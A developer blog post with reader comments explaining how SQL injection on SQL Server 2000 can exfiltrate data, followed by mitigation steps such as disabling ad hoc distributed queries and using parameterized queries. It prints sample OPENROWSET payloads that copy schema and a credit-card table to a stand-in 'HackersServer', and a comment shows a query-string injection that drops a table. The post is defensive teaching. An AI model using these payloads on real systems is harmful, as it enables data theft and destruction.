Print

The true danger of SQL Injection Attacks

This article describes the true danger of SQL injection attacks. The article shows how a hacker can steal your sensitive business data, even when your website connects to your database with a normal non-privileged login account.

Often when I visit customers, I warn their developers about the danger of SQL injection attacks and the importance of good database security. Many developers think they are safe because:

  • They don't return (SQL) error messages to the browser.
  • They log error messages to the windows event log.
  • They use stored procedures.
  • They don't connect to the database using the 'sa' (administrator) account.

This however is a false sense of security. In this article I will show you how a hacker can exploit a SQL injection vulnerability to steal your sensitive data. This goes for SQL Server 2000 in particular, which has a pretty unsafe default configuration, leaving your server open to exploitation quite easily, as I will show next.

Hacking SQL Server Using OpenRowset

Hackers can exploit a hole in your website to inject SQL code into SQL Server. The most popular way to do this is by inserting code in the query string, but there are of course several ways to do this. If you are not familiar with SQL Injection attacks, this Wikipedia article has a good definition.  Most developers however, don't realize what the dangers are of such a leak. A hacker, that finds a SQL injection vulnerability, might inject the following SQL code into your SQL Server database:

INSERT INTO OPENROWSET('SQLoledb',
'server=HackersServer;uid=sa;pwd=hackersPwd',
'select * from hacked_tables')
SELECT * FROM sys.objects

INSERT INTO OPENROWSET('SQLoledb',
'server=HackersServer;uid=sa;pwd=hackersPwd',
'select * from hacked_columns')
SELECT * FROM sys.columns

Let's analyze what happened here. The OPENROWSET function allows access to a remote data source. SQL Server calls this an ad hoc distributed query. When your SQL Server is connected to the internet, using this construct, the hacker can open a connection to his own server. Please don't think you can stop this by disallowing SQL Server port 1433 on your firewall; The hacker can use any port he wants. The hacker can use the OPENROWSET command to ‘ping’ his own server to find out if his SQL injection has any effect. This way he doesn't need any error messages returned from the web server to find out if the SQL injection succeeded.

With the two INSERT statements shown above, the hacker inserted the definition of all your database objects (such as tables and views) and their columns into his own database. The hacker can than use this information to rebuild the definition of your database on his own server and copy all the data from the hacked server to his own. The next step is to copy (all your sensitive business) data to the remote server. The query below is an example of what the hacker could execute:

INSERT INTO OPENROWSET('SQLoledb',
'server=HackersServer;uid=sa;pwd=hackersPwd',
'select * from hacked_creditcardnumbers')
SELECT * FROM creditcardnumbers

After the hacker finds out that your database contains a table named ‘creditcardnumbers’, the hacker can create a table named 'hacked_creditcardnumbers' in his own database, after which he will execute the given statement. He could (and probably will) repeat this for all (interesting) tables in your database.

To be clear about this: The OPENROWSET functionality is enabled by default in SQL Server 2000 can be used by normal database logins with no particular rights (you don’t have to be logged in as a database owner or system administrator for this to work). With SQL Server 2005, Microsoft has disabled this feature by default, but you should make sure that this feature is disabled on your server. I will show at the end of this article how to disable this feature. I hope you see that –especially with the ad hoc distributed query functionality– a single SQL injection vulnerability could easily be exploited by a hacker to copy your very sensitive business data!

But it could easily get worse, (and that's the case) when you actually did connect to your database using the ‘sa’ user. ‘sa’ Privileges allow someone to execute stored procedures like xp_cmdshell and xp_regwrite. These procedures allow you to execute literally any program from the file system and change anything in the windows registry. The hacker could even download any binary file from his own server, store it on the database server’s file system, register it through the windows register and run it! Please note that while running within the context of the system administrator account, a hacker can also re-enable the ad hoc distributed query functionality and (again) start copying the data.

Let's make it clear: The hacker will have full control over your server when he exploits a vulnerability in the context of the system administrator (sa) user account!

To make things worse; When connected to the database using a non-privileged login account, it could still be possible that the hacker exploits a known or unknown SQL server vulnerability to elevate privileges to gain full control. While the security of SQL Server (or any database servers by any other vendor that is) is getting better, those flaws still pop-up.

The bottom line is: please don’t underestimate SQL injection attacks, because a single successful injection could lead to a compromised server and theft of sensitive business data. You don’t want to be the developer responsible for this exploited leak.

Mitigating The Risks

Now that we know the dangers, here are 6 steps that help you mitigate the risks.

Step 1

Never connect to the database using the ‘sa’ account. Use a custom account and give it just enough rights. Personally, I prefer a security model where each application role gets it’s own SQL login with only the rights it needs. This is not always feasible, for instance when the rights of each role are very dynamic and must be configurable.

Step 2

Make sure it’s impossible to execute ad hoc distributed queries, like the ones shown above. SQL Server 2005 has disabled this by default, but SQL Server 2000 hasn’t. Note that this configuration is at server level only. Unfortunately it’s not an account policy. When you need ad hoc queries, I advise you to temporarily enable them, run your query, and disable them again. This limits the time frame an attacker could abuse it. And again, disabling this feature is useless when your application connects to the database using the ‘sa’ account.

To check whether ad hoc distributed queries are enabled, run the following query:

SP_CONFIGURE 'Ad Hoc Distributed Queries'

The columns ‘config_value’ and ‘run_value’ of the stored procedures results set should have a value of 0. Otherwise run this query to correct it:

SP_CONFIGURE 'Ad Hoc Distributed Queries', 0

After you disabled the ad hoc distributed queries functionality, you should get the following error message when executing the articles first query:

Msg 15281, Level 16, State 1, Line 1
SQL Server blocked access to STATEMENT 'OpenRowset/OpenDatasource' of component 'Ad Hoc Distributed Queries' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'Ad Hoc Distributed Queries' by using sp_configure. For more information about enabling 'Ad Hoc Distributed Queries', see "Surface Area Configuration" in SQL Server Books Online.

Step 3

Optionally use automated tooling to check for vulnerabilities in your code base. The integrated code analysis of Visual Studio 2010 for instance, will have rules for finding SQL injection vulnerabilities.

Step 4

Make sure you log every exception to a data store and view logged events on a regular basis. When you’re looking for a simple and pluggable logging framework for .NET, please take a look at CuttingEdge.Logging. When you log exceptions to a database, give logins only insert rights to the log table to prevent a hacker from erasing his tracks.

Step 5

Create security guidelines and an application architecture that protects you against injection attacks (and other security risks). Those guidelines should at least state that parameterized queries should be used as much as possible (if not always).

Step 6

Use code reviews to find flaws in your software before it is released. This is very important, because you can’t fully rely on automated tools or your database security configuration. Please use parameterized queries as much as possible and also review your stored procedures, because they are also vulnerable to injection attacks. Also make sure you avoid SQL Truncation attacks.

More information

You can find detailed information about SQL Injection using ad hoc distributed queries in the following PDF document: Manipulating Microsoft SQL Server Using SQL Injection.

Good luck!

- Databases, Security, SQL - six comments / No trackbacks - §

The code samples on my weblog are colorized using javascript, but you disabled javascript (for my website) on your browser. If you're interested in viewing the posted code snippets in color, please enable javascript.

six comments:

An excellent posting. Particularly the emphasis on the powerful OPENROWSET command.
Luke - 15 01 09 - 12:45

Holy shit! I didn't know that. I let our dba change the configuration of our production database, because we were indeed open to this attack. Thanks for the posting.
HendrikD - 18 01 09 - 14:08

Thanks for the article! Keep 'm coming.
Menno - 05 02 09 - 16:40

OK - SQL injection attacks are slightly more powerful than I realised. Thanks for pointing out OpenRowSet and such like - worth knowing... Still - none of this changes the fact that you cannot do SQL injection unless you are either logged in to an SQL Server instance or otherwise have access to a user-interface that has a connection to an SQL Server instance.

"Personally, I prefer a security model where each application role gets it’s own SQL login with only the rights it needs"

We have been doing this for a while with SQL Server security/ users.

"This is not always feasible, for instance when the rights of each role are very dynamic and must be configurable."

This is why you implement front-end user accounts using your own db schema and front-end code... IN many industrial situations, front-end user accounts are related closely to records stored in your [bespoke] database, so it's too hard to implement end-user accounts as SQL Server user accounts anyway (as well as being reckless.) It's often easier to do it yourself in your own code, => Less SQL Server user accounts to audit and easier to notice if anything funny starts happening.

You say "beware of SQL injection/ truncation attacks" yet make no mention of the possibility of escape-encoding strings before including them in dynamically generated SQL; but I guess you can't mention everything or this would be a book, not a blog.

Bottom line- don't install a web server on your main db server, or even on the same network for that matter. Replicate a heavily cut down version of your main DB to an offsite web server via an encrypted link and then apply all the usual security strategies to that, e.g. for input validation, input processing etc. Criticisms?
matthew_of_cambridge (URL) - 30 07 09 - 13:33

Hi Matthew,

"none of this changes the fact that you cannot do SQL injection unless you are either logged in to an SQL Server instance or otherwise have access to a user-interface that has a connection to an SQL Server instance."

It depends on what you see as 'logged in to an SQL Server'. SQL injection happens the most on web applications (while possible without web apps), so this is the main scenario I think and talk about (but I realize I don't speak about this in my blog). In a web scenario, the end user is (hopefully) never directly connected to the database. A web server sits in between the two. Therefore the web server communicates with the database and is 'logged in' to the database server (at least, as I see it). So while the user isn't logged in to the database, or perhaps even not logged into the web application, she is able to send data to the web server that could be used in a SQL injection attack. For instance, when an attacker changes the query string value (for instance, page.aspx?id=3 becomes page.aspx?id=3;DROP%20TABLE%20Users).

When I advise "a security model where each application role gets it's own SQL login" I'm not saying that all users of the system should get an unique database account. When a system has a large amount of users this would become unmanageable. What I advise is when your system has a couple of different roles (e.g. Administrator, Manager, SalesPerson, User, etc) you could define for each role a single database account and connect to the database with the account where that particular user belongs to. So for hundreds of users, you should only have up to a dozen of database accounts.

Note however, that I'm always talking about a three-tier environment (client -> server -> database). From a security perspective I hardly ever advice a two-tier model, where the client (desktop) application connects directly to the database, without a (web) server in between. Please note that when you create an end user (desktop) application that connects directly to a database server, talking about SQL injection is useless, because the end user can connect directly to the database and execute any arbitrary query, without abusing SQL injection.

"You say "beware of SQL injection/ truncation attacks" yet make no mention of the possibility of escape-encoding strings before including them in dynamically generated SQL"

That's true. I don't talk about escaping for two reasons. First, it is because I expect everybody reading my blog to know about this, and for the people who don't, I linked to a Wikipedia article explaining SQL injection (it also explains escaping). Second reason is because I don't believe in escaping by hand and think it should be prevented as much as possible. Escaping by hand can be very error-prone. For instance, escaping the ' [quote] character to \' alone isn't sufficient when working with MySQL databases. I recommend the use of parameterized queries (step 5 and 6) to prevent yourself from SQL injection. Of course this advice is based on the assumption that you’re working in a .NET environment. Not all environment have the notion of parameterized queries.

"Bottom line- don't install a web server on your main db server, or even on the same network for that matter. Replicate a heavily cut down version of your main DB to an offsite web server via an encrypted link and then apply all the usual security strategies to that, e.g. for input validation, input processing etc."

From a performance perspective mixing database and web server, isn't advised. From security neither, but I'm not a system administrator. About copying your database, it depends on your architecture and type of system if this possible at all. When you have a website where users only view data and aren't able to CUD (Create, Update, Delete) data, then copying could be a nice security mechanism. I must say I've never advised my clients to do so, but if that works in your situation, than that's perfect. Your OLTP system will be separated from the outside world; that's great.
Steven (URL) - 11 08 09 - 13:49

Thank you for your reply!

"I don't believe in escaping by hand and think it should be prevented as much as possible. Escaping by hand can be very error-prone." - I agree, and I try to mitigate the possibility of errors here. My approach here (since I don't work in a .NET environment) is either:

1. For Access unbound forms, enumerate all possible SQL delimiters in the relevant dialect of SQL. I write standard functions to escape these characters for various data types. Wherever user-generated data are used in SQL queries, I pass them through these standard functions. Additionally, I use field-level data validation to exclude certain substrings from being inserted into fields that might be re-used in SQL queries.

2. For PHP, I use a different approach... I have standard objects and functions that generate forms and process the returned REQUEST data. Type enforcement, validation and escaping routines are associated with these form objects. Everything coming through the browser or via REQUEST data must pass through these routines... SO in this case it is impossible to forget to escape the user-generated content. (I might in future write something similar for Access unbound forms.)

===

From BBC news this morning:
http://news.bbc.co.uk/1/hi/world/america..
Apparently using SQL injection attack...

It seems in every respect like this attack method is not going away any time soon. It's a wonder that big companies can still leave their systems open to this.
Matthew Slyman (URL) - 18 08 09 - 13:01


No trackbacks:

Trackback link:

Please enable javascript to generate a trackback url


  
Remember personal info?

/

Before sending a comment, you have to answer correctly a simple question everyone knows the answer to. This completely baffles automated spam bots.
 

  (Register your username / Log in)

Notify:
Hide email:

Small print: All html tags except <b> and <i> will be removed from your comment. You can make links by just typing the url or mail-address.